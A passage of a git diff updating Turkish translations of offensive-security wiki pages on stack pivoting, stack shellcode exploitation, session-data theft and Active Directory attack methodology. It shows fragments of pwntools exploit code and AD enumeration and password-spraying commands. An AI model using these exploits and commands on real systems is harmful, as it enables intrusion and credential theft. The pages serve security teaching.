etmek için, bu hizalamayı gerektiren **SSE instructions** (örneğin **movaps**) kullanır. Yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'de başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. ## x86 ile x64 arasındaki ana fark @@ -144,8 +144,8 @@ Bu örnekte: ## Koruma Önlemleri -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) ## Diğer Örnekler ve Referanslar diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index b3856a599..10d2680b0 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve `leave; ret` talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemi yapar. +Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve `leave; ret` talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme imkanı sağlar. Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder: ``` @@ -16,14 +16,14 @@ Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bun ### EBP2Ret -Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle yararlıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. +Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. -Eğer `fvuln`'ın çalışması sırasında, yığında shellcode'unuzun adresinin bulunduğu bir bellek alanına işaret eden **sahte bir EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ -**2 adresi bilmeniz gerektiğine dikkat edin**: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer. +Eğer `fvuln`'ın çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` dönerken, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ +İki adresi **bilmeniz gerektiğini unutmayın**: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer. #### Exploit Yapısı -Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`i çalıştıracak**. +Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacak. Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz: @@ -51,9 +51,9 @@ Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonrak Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür. -Bu, bir [ret2lib](ret2lib/) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. +Bu, bir [ret2lib](ret2lib/index.html) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. -Ayrıca, bu tekniği bir **yığın sızıntısı** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**örnek zorluk**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu, sayfanın son yüklemesidir: +Ayrıca, bu tekniği bir **yığın sızıntısı** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu sayfanın son yükü: ```python from pwn import * @@ -91,8 +91,8 @@ print(p.recvline()) ``` ## EBP işe yaramaz -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili dosya bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol etmez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ -Bu, **prolog ve epilog değiştiği** için, eğer ikili dosya optimize edilmişse. +As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili dosya bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol edemez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ +Bu, **prolog ve epilog değişiklikleri** ikili dosya optimize edildiğinde gerçekleşir. - **Optimize edilmemiş:** ```bash @@ -118,9 +118,9 @@ ret # return ``` ## RSP'yi Kontrol Etmenin Diğer Yolları -### **`pop rsp`** aracı +### **`pop rsp`** gadget -[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` aracı** vardı ve **stack'ten bir leak** vardı: +[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` gadget** vardı ve **stack'ten bir leak** vardı: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md index c10efec57..0e5ddd72f 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md @@ -8,7 +8,7 @@ ### C Örneği: Zayıf Bir Program -Hadi zayıf bir C programının basit bir örneğiyle başlayalım: +Basit bir zayıf C programı örneğiyle başlayalım: ```c #include #include @@ -24,18 +24,18 @@ printf("Returned safely\n"); return 0; } ``` -Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow açığına sahiptir. +Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır. ### Derleme -Bu programı çeşitli korumaları devre dışı bırakarak (açık bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz: +Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Yığın korumasını devre dışı bırakır. - `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir. -- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır. -- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır. +- `-no-pie`: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, bu da shellcode'un bulunacağı bellek adresini tahmin etmeyi kolaylaştırır. +- `-m32`: Programı 32-bit yürütülebilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır. ### Python Exploit using Pwntools @@ -66,24 +66,24 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Bu script, bir **NOP kaydırma**, **shellcode** ve ardından **EIP**'yi NOP kaydırmaya işaret eden adresle yazan bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar. +Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar. -**NOP kaydırma** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, tamponunuzun başlangıç adresine artı bir offset ekleyerek NOP kaydırmasına ulaşacak şekilde ayarlayın. +**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kayma" şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın. ## Koruma Önlemleri -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir. -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **yığın** koruması, bu bölge çalıştırılabilir olmadığından shellcode'un yığın içinde çalıştırılmasını engeller. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, stack içindeki shellcode'un çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır. ## Diğer Örnekler ve Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, yığın adres sızıntısı ile ASLR, shellcode yaz ve ona atla +- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, yığın sızıntısı ile ASLR, shellcode yaz ve ona atla +- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, yığın sızıntısı ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla +- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma yap, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index d35e63bba..ebf79cdf6 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -2,12 +2,12 @@ {{#include ./banners/hacktricks-training.md}} -Eğer bir noktada **oturumunuza dayalı hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı detaylarını veya başka herhangi bir hassas bilgiyi yazdırıyordur, bunu çalmaya çalışabilirsiniz.\ -Burada bunu başarmak için deneyebileceğiniz ana yolları sunuyorum: +Eğer bir noktada **oturumunuza dayalı olarak hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı detaylarını veya başka herhangi bir hassas bilgiyi yazdırıyordur, bunu çalmaya çalışabilirsiniz.\ +İşte bunu başarmak için deneyebileceğiniz ana yollar: -- [**CORS bypass**](pentesting-web/cors-bypass.md): CORS başlıklarını aşabiliyorsanız, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): XSS etiketlerini enjekte edemiyorsanız bile, diğer normal HTML etiketlerini kullanarak bilgileri çalmaya devam edebilirsiniz. +- [**CORS bypass**](pentesting-web/cors-bypass.md): CORS başlıklarını aşabilirseniz, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz. +- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz. +- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSS etiketlerini enjekte edemiyorsanız bile, diğer normal HTML etiketlerini kullanarak bilgileri çalmaya çalışabilirsiniz. - [**Clickjaking**](pentesting-web/clickjacking.md): Bu saldırıya karşı bir koruma yoksa, kullanıcıyı hassas verileri göndermesi için kandırabilirsiniz (bir örnek [burada](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ./banners/hacktricks-training.md}} diff --git a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md index 50ddb1c66..d2a31adce 100644 --- a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md @@ -2,12 +2,12 @@ {{#include ../banners/hacktricks-training.md}} -Eğer bir noktada **oturumunuza dayalı hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı bilgilerini veya başka hassas bilgileri yazdırıyordur, bunu çalmaya çalışabilirsiniz.\ +Eğer bir noktada **oturumunuza dayalı olarak hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı bilgilerini yazdırıyordur veya başka herhangi bir hassas bilgi, bunu çalmaya çalışabilirsiniz.\ İşte bunu başarmak için deneyebileceğiniz ana yollar: - [**CORS bypass**](../pentesting-web/cors-bypass.md): CORS başlıklarını aşabilirseniz, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz. -- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Sayfada bir XSS açığı bulursanız, bunu kullanarak bilgileri çalabilirsiniz. -- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): XSS etiketlerini enjekte edemiyorsanız, yine de diğer normal HTML etiketlerini kullanarak bilgileri çalabilirsiniz. +- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz. +- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSS etiketlerini enjekte edemiyorsanız, yine de diğer normal HTML etiketlerini kullanarak bilgileri çalma şansınız olabilir. - [**Clickjaking**](../pentesting-web/clickjacking.md): Bu saldırıya karşı bir koruma yoksa, kullanıcıyı hassas verileri göndermesi için kandırabilirsiniz (bir örnek [burada](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index d073afe9c..a71ea1d30 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -1,10 +1,83 @@ -# Active Directory Metodolojisi +# Active Directory Methodology {{#include ../../banners/hacktricks-training.md}} ## Temel genel bakış -**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder ve bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, böylece çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara +**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder, **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize etmeyi kolaylaştırırken, çeşitli seviyelerde **erişim haklarını** kontrol eder. + +**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir. + +**Active Directory** içindeki anahtar kavramlar şunlardır: + +1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır. +2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder. +3. **Alan** – Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilme yeteneğine sahiptir, her biri kendi nesne koleksiyonunu korur. +4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır. +5. **Orman** – Active Directory'deki organizasyon yapısının zirvesidir, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur. + +**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik bir dizi hizmeti kapsar. Bu hizmetler şunları içerir: + +1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevselliklerini içerir. +2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler. +3. **Hafif Dizin Hizmetleri** – **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler. +4. **Dizin Federasyon Hizmetleri** – Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar. +5. **Hak Yönetimi** – Telif hakkı materyalini korumaya yardımcı olur, yetkisiz dağıtım ve kullanımını düzenler. +6. **DNS Hizmeti** – **alan adlarının** çözümü için kritik öneme sahiptir. + +Daha ayrıntılı bir açıklama için kontrol edin: [**TechTerms - Active Directory Tanımı**](https://techterms.com/definition/active_directory) + +### **Kerberos Kimlik Doğrulaması** + +Bir **AD'yi saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\ +[**Nasıl çalıştığını hala bilmiyorsanız bu sayfayı okuyun.**](kerberos-authentication.md) + +## Hile Sayfası + +AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz. + +## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok) + +Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz: + +- **Ağı test et:** +- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları sömürmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)). +- DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb. +- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` +- Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın. +- **Smb hizmetlerinde null ve Misafir erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır): +- `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` +- `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` +- `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` +- Bir SMB sunucusunu listelemek için daha ayrıntılı bir kılavuz burada bulunabilir: + +{{#ref}} +../../network-services-pentesting/pentesting-smb/ +{{#endref}} + +- **Ldap'ı listele** +- `nmap -n -sV --script "ldap* and not brute" -p 389 ` +- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin): + +{{#ref}} +../../network-services-pentesting/pentesting-ldap.md +{{#endref}} + +- **Ağı zehirle** +- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın. +- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana makineye erişin. +- **fake UPnP hizmetlerini kötü-S ile** [**açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile kimlik bilgilerini toplayın. +- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): +- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan. +- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123). +- Araçlar: +- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) +- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) + +### Kullanıcı listeleme + +- **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin. +- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -30,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz. +> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) bulabilirsiniz. > > Ancak, bu adımdan önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz. @@ -38,7 +111,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin: -- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı verileri içerecektir. +- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevine göre şifrelenmiş bazı veriler içerecektir. - [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!). - Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**. @@ -48,7 +121,7 @@ password-spraying.md ### LLMNR/NBT-NS Zehirleme -Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **obtain** edebilirsiniz: +Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **elde edebilirsiniz**: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -56,9 +129,9 @@ Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehir ### NTML Relay -Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz. +Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlayabilirsiniz. -### NTLM Kimlik Bilgilerini Çalma +### NTLM Kimlik Bilgilerini Çalmak Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**: @@ -83,7 +156,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük [**ASREPRoast**](asreproast.md) ile artık her olası savunmasız kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile ele geçirilen hesabın şifresini, boş şifreleri ve yeni umut verici şifreleri deneyebilirsiniz. - [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info) -- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/) bu daha gizli olacaktır +- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/index.html) bu daha gizli olacaktır - Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md) - Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb. - **Diğer otomatik AD listeleme araçları şunlardır:** [**AD 